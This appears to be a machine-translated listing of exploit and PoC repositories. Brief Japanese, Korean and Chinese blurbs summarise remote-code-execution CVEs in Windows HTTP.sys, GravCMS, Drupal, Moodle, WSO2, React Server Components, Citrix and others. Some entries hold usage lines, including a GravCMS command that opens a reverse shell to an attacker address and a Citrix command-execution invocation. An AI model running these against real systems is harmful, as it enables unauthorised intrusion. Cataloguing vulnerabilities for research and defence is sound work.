CVE-2021-31166

CVE-2021-31166 説明 - CVE-2021-31166 の POC: Windows HTTP プロトコルスタックのリモートコード実行脆弱性 - antx によって 2021-09-27 に作成されました。 詳細 - ./trigger.gifPoc-Gif CVE 重要度 - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH - confidentialityImpact: HIGH - integrityImpact: HIGH -...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab ラボの前提条件 デモアプリ: http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip JBOSSダウンロードアーカイブからJboss 5.1.0.GA: https://repository.jboss.org/sourceforge/ JAVAアーカイブからJdk-6u45-linux-x64:...

CVE-2023-41425

CVE-2023-41425 説明 Wonder CMS バージョン3.2.0から3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードされた細工されたスクリプトを介して任意のコードを実行できる可能性があります。 これはprodigiousMindによるオリジナルのエクスプロイトの修正版であり、外部インターネット接続に依存せずにエクスプロイト全体をローカルで提供できるように拡張されています。 もしあなたが途方に暮れていて、自転車に問題を見つけた場合に便利です... 注:...

CVE-2021-21425

CVE-2021-21425 - GravCMS 未認証RCE CVE-2021-21425 の改良版概念実証。これは GravCMS Custom command python3 exploit.py -t http://target -c "id" 例 root@kitploit: Get reverse shell on target python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 Execute command python3 exploit.py -t http://grav.local:8080 -c...

cve-2020-8165-demo

CVE-2020-8165 デモ CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。 背景 CVE-2020-8165 信頼されていないデータのデシリアライゼーションの脆弱性が rails 5.2.4.3、rails 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。 参考文献 https://hackerone.com/reports/413388...

CVE-2020-13671-old

CVE-2020-13671 ファイルアップロードによるRCE — Drupal Core ソフトウェア: Drupal Core 8.7.5 影響を受けるバージョン: 7.x 7.78, 8.x 8.8.11, 8.9.x 8.9.9, 9.0.x 9.0.8 CVSS: 8.8 高 CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード CISA KEV: はい — 既知の悪用済み脆弱性 アドバイザリ: SA-CORE-2020-012 Drupalとは...

CVE-2026-55200

CVE-2026-55200 - 重大な libssh2 リモートコード実行脆弱性 libssh2 における重大な認証前メモリ破損脆弱性 概要...

Moodle-authenticated-RCE

Moodle 4.4.0 - 인증된 원격 코드 실행 CVE-2024-43425 익스플로잇 CVE: CVE-2024-43425 영향을 받는 버전 Moodle 4.4 4.4.1 Moodle 4.3 4.3.5 Moodle 4.2 4.2.8 Moodle 4.1 4.1.11 설명 이 익스플로잇은 위에 나열된 Moodle 버전에서 인증된 원격 코드 실행RCE 취약점을 대상으로 합니다. 유효한 자격 증명을 가진 공격자가 안전하지 않은 문제 은행 편집 기능을 악용하여 서버에서 임의의 명령을 실행할 수 있습니다. 사용 방법 1. 이 저장소를...

CVE-2019-20224

CVE-2019-20224 Pandora v7.0NG の認証後リモートコード実行（CVE-2019-20224）用の公式エクスプロイト...

CVE-Exploitation-Reports

CVE-Exploitation-Reports CVE エクスプロイトレポート: CVE-2007-3280、CVE-2017-0144、CVE-2019-0708 このリポジトリには、以下の Common Vulnerabilities and Exposures CVE に関する詳細なエクスプロイトレポートが含まれています。 CVE-2007-3280: RealPlayer ActiveX コントロールにおけるバッファオーバーフローの脆弱性で、細工された URL を介してリモートの攻撃者が任意のコードを実行できる可能性があります。 CVE-2017-0144: EternalBl...

0-click-RCE-Exploit-for-CVE-2024-10924

CVE-2024-10924 / 認証バイパス2FAを利用したRCEエクスプロイト 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 このリポジトリには、WordPressプラグイン「Really Simple Security」の認証および2FAバイパスの脆弱性であるCVE-2024-10924の概念実証PoCエクスプロイトが含まれており、これを利用してリモートコード実行RCEを達成できます。 スクリプトの動作内容...

react2shell

React2Shell: React Server Components에서의 RCE 제로데이 CVE-2025-55182 React 및 CVE-2025-66478 Next.js 이 저장소는 승인된 보안 테스트 및 교육 목적으로만 사용되는 익스플로잇 코드를 포함하고 있습니다. 참고: 여러 연구자들이 이 취약점에 대한 분석을 발표했습니다. 추가 관점, 익스플로잇 기법 및 탐지 방법은 참고 자료 섹션을 확인하세요. 개요 2025년 12월 3일 수요일, React Server Components에서 심각한 원격 코드 실행RCE 취약점이...

CVE-2020-0688

CVE-2020-0688 に対して脆弱な Exchange サーバーを特定する CVE-2020-0688 は、静的キーの使用が原因で Microsoft Exchange に存在する重大な脆弱性です。悪用には メールユーザーレベルの 有効な資格情報が必要であり、大量悪用のリスクは低いものの、この脆弱性は SYSTEM レベルの RCE につながるため、標的型攻撃で非常に有用となる可能性があります。 詳細情報: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...

Monitorizer

Monitorizer 최고의 서브도메인 모니터링 프레임워크 설치 ❗ 면책 조항 --- 관리자 사용자는 로컬 서버에서 코드를 실행할 수 있습니다. 기본 비밀번호를 반드시 변경하십시오. 변경하지 않으면 본인의 책임 하에 사용하시기 바랍니다. Docker 사용하기 root@kitploit: $ curl https://raw.githubusercontent.com/BitTheByte/Monitorizer/main/docker-compose.yml | docker compose -f - up 기본 자격 증명: 모든 준비가 완료되면...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 익스플로잇 및 분석. 세부 사항 CVE-2022-29464는 Orange Tsai가 발견한 WSO2의 치명적인 취약점입니다. 이 취약점은 인증되지 않은 무제한 임의 파일 업로드로, 인증되지 않은 공격자가 악성 JSP 파일을 업로드하여 WSO2 서버에서 RCE를 얻을 수 있습니다. 취약한 업로드 경로는 /fileupload이며, 이는 FileUploadServlet 서블릿에 의해 처리됩니다. 그리고 이것은 indentity.xml 구성 파일에서 볼 수 있듯이...

CVE-2021-21983

CVE-2021-21975 VMware vRealize Operations vROps Manager API 任意文件写入导致远程代码执行（RCE） vRealize Operations vROps 是一款由 AI 驱动的自动驾驶 IT 运维管理工具，覆盖从应用到基础设施，可优化、规划和扩展 VMware Cloud 与 HCI 部署，同时统一公共云监控。VMware vRealize Operations Manager API 8.4 及所有之前版本 存在服务器端请求伪造（SSRF）漏洞。成功利用此漏洞可能导致读取或更新内部资源，此外，攻击者还可以轻松窃取 vROps...

CVE-2020-7247-POC

서문 익스플로잇에 대한 주요 사실 취약한 서버 설치 설정 환경 관련 주의사항 익스플로잇 수동 익스플로잇 스크립트를 이용한 익스플로잇 서문 이 저장소는 통제된 개인 환경에서 CVE-2020-7247을 설정하고 익스플로잇하기 위한 기반을 제공합니다. 게시된 모든 코드와 설정은 오직 이 취약점을 테스트하기 위한 목적이며, 자신의 시스템이 아니거나 익스플로잇 허가를 받지 않은 시스템을 남용하기 위한 것이 아닙니다. 이 저장소의 소유자는 제3자가 이 도구를 사용하는 것에 대해 책임을 지지 않습니다. 익스플로잇에 대한 주요 사실 코드의 ...

MassExploit-CVE-2025-55182

CVE-2025-55182 – 대규모 스캐너 PoC CVE-2025-55182“React2Shell”이라고도 함는 React Server ComponentsRSC 시스템에서 발생하는 치명적인 원격 코드 실행RCE 취약점입니다. 이 문제는 “Server Functions”에 대한 HTTP 페이로드 역직렬화 메커니즘이 안전하지 않은 방식으로 신뢰할 수 없는 입력을 처리하여, 공격자가 인증 없이 조작된 요청을 보내 서버에서 임의 코드 실행을 유발할 수 있게 합니다. 이 취약점은 CVSS 10.0심각으로 평가되었습니다. 영향을 받는 ...

cve-2024-8069-exp-Citrix-Virtual-Apps-XEN

CVE-2024-8068 and CVE-2024-8069 Citrix 仮想アプリおよびデスクトップ XEN 未認証のリモートコード実行脆弱性 詳細な技術情報については、当社のブログ記事をご覧ください。 https://github.com/user-attachments/assets/563fd110-5321-49f7-8dc3-48eb0a53e0f9 エクスプロイトデモ root@kitploit: python exploit-citrix-xen.py --target 192.168.1.120 --port 80 --cmd "whoami"...

CVE-2023-47253

CVE-2023-47253 CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 概念実証（POC） URLにアクセスし、PHPコードを"gridValoresPopHidden"パラメータに含めて送信するだけです。 研究者 https://www.linkedin.com/in/xvinicius/...